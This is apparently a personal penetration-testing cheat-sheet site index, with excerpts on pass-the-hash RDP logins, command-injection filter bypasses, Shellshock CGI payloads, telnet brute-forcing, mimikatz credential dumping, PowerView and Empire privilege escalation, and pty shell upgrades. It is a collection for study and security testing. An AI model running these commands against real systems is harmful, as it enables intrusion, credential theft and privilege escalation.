akde/infosec

Information security is ultimately about managing risk


  • Use rdesk­top for a nor­mal login rdesktop $target Nor­mal login for a local user xfreerdp /cert-ignore /u:user /p:pass /v:$target Login for a domain user xfreerdp /cert-ignore /u:user /d:dom.com /p:pass /v:1$target To log in with a NTML hash, use xfreerdp. xfreerdp /u:Peter /pth:666fb5b812a486f87062670c3baf1852 /v:$target Acti­vate net localgroup "Remote Desktop Users" Administrator /add Create a new admin and enable…


  • Shell­ter kann add a reverse shell pay­load into a exe file.


  • Configuration options env_reset: Resets the envi­ron­ment to default con­fig­ured in /etc/environment. env_keep: Adds envi­ron­ment vari­ables which are addi­tion­al­ly allowed. If LD_PRELOAD is in there, see below. mail_badpass: Sends an email to the admin if a user failed to pro­vide a sudo password. secure_path: Sets the PATH envi­ron­ment vari­able to the giv­en paths. Configurations Some­thing like the fol­low­ing…


  • This post con­tains a col­lec­tion of vari­able sub­sti­tu­tion commands. Bash $(echo id) Ruby #{} PHP {}


  • See also the encod­ing post for encod­ing methods. Tips Bypassing filters Linux / PHP All URL encod­ed val­ues start­ing with a space character. | id %20%7c%20%69%64 || id %20%7c%7c%20%69%64 & id %20%26%20%69%64 && id %20%26%26%20%69%64 <?php print "1"" ?> %20%3c%3f%70%68%70%20%70%72%69%6e%74%20%22%31%22%22%20%3f%3e ;id %20%3b%69%64 Sources


  • Show shares with smbclient: smbclient --no-pass -L //$targetsmbclient -U guest //$target/smbclient -U Administrator --pw-nt-hash $NTLMHASH \\\\$target\\directory Show shares with oth­er clients: smbmap -R -H $target // No usersmbmap -u L4mpje -p 'bureaulampje' -d WORKGROUP -H $target -R // Usernmap -sV --script=smb-enum-shares -p445 $targetcrackmapexec smb $target -u '' -p '' --shares Vul­ner­a­bil­i­ty scan nmap --script=smb-vul* -p445 $target…


  • Enumeration Mandatory Optional Tools


  • Java Remote Method Invo­ca­tion is a method to exe­cute code remote­ly on oth­er sys­tems. This Ora­cle doc­u­ment describes it. But to use it, a pro­gram has to been uploaded first or it has to be known how to com­mu­ni­cate with it. General A Java reg­istry dae­mon has to be running.  Run rmireg­istry (bun­dled with Java) from…


  • Old­er bash ver­sions may exe­cute code after func­tion definitions. Via command line Source with explanation export newfunction='() { echo 'shellshockdemo';}; echo vulnerable' Via a web server / CGI script Cau­tion: Try the reverse shell exam­ple in Burp also if the curl com­mand fails! curl http://$target/cgi-bin/admin.cgi -s > before curl -H "User-Agent: () { :; }; /bin/bash…


  • Shellshock A func­tion in a envi­ron­ment vari­able is exe­cut­ed in a child process of the bash. When export­ing a new func­tion like this export func=’() { echo mist; }; echo aha;’ and start­ing a new bash ses­sion, “aha” is executed.


  • NTML infos nmap -p 23 --script telnet-ntlm-info $target Brute-force nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=passwords.txt,telnet-brute.timeout=5s $target hydra -P passwords.txt -L users.txt $target telnet -V hydra -C users_and_passwords.txt $target telnet -V


  • Local file inclusion and Wrappers Gen­er­al: If you try to read PHP and noth­ing returns — use a base64 return! Remote file inclusion PHP deserialization If a pro­gram accepts a seri­al­ized object which uses a mag­ic method, then… TODO, see here


  • Logon on another system with a NTLM hash Sce­nario: Then, use mimikatz to inject anoth­er user’s NTLM hash into the secret storage: Steal another user’s session Sce­nario: Then, with the use of mimikatz: privilege::debugsekurlsa::tickets /export This exports avail­able tick­ets into the work­ing direc­to­ry (suf­fix .kirbi). Then, choose one file/ticket from the cor­rect user and ser­vice. For…


  • Win­dows cre­ates and stores cre­den­tials in the Local Secu­ri­ty Author­i­ty Sub­sys­tem Ser­vice LSASS in the mem­o­ry. On the filesys­tem, the sam data­base stores the hashes. Use Mimikatz Usage Enable debug mode. This usess the SeDe­bug­Priv­i­lege so that we are able to com­mu­ni­cate with oth­er processes. privilege:debug Try to ele­vate priv­i­leges to obtain SYSTEM user privileges:…


  • Blood­Hound ana­lyzes and present Active Direc­to­ry Data. SharpHound is the data col­lec­tor which runs on a com­pro­mised AD system. On the target: On the own system:


  • Without shell access With shell access Choose one method to enumerate. 1. User and group enumeration with net (!) See what roles/privileges THIS USER has. Also localy. Maybe he/she has already admin­is­tra­tive privileges. whoami /all List (and store!) the users of the domain net user /domain List (and store!) infor­ma­tion like full names, group mem­ber­ships, etc.…


  • Col­lec­tion of privsec scripts. To start, upload PowerView.ps1 and: powershell -exec bypass PS> Import-Module .\PowerView.ps1 See the github site for all commands. General enumeration powershell -exec bypass PS> . .\PowerUp.ps1 PS> Invoke-AllChecks Or: powershell.exe -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" About users Enu­mer­ates all users. Get-NetUser Enu­mer­ate all users which does not require Ker­beros preauth. Get-NetUser -PreauthNotRequired Returns…


  • Generic analysis tools Extract macros with oledump Use oledump.py to extract macros. List the file contents: python oledump.py $file Exam­ple from an output: ... 7: M 16267 'Macros/VBA/NewMacros' 8: m 932 'Macros/VBA/ThisDocument' ... To show details from a doc­u­ment part use the first num­ber and execute python oledump.py -s $no $file But to extract Macros,…


  • Main­ly post exploita­tion for AD envi­ron­ments. (Down­load — also includ­ed in Kali sources) Quick usage for privilege escalation General usage Metas­ploit syn­tax / PSE syntax Note: After use­mod­ule don’t for­get to go “back” and to “inter­act” with the agent to see job results! Com­mands with an aster­ix require a high-integri­ty Empire Agent. To upgrade one…


About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';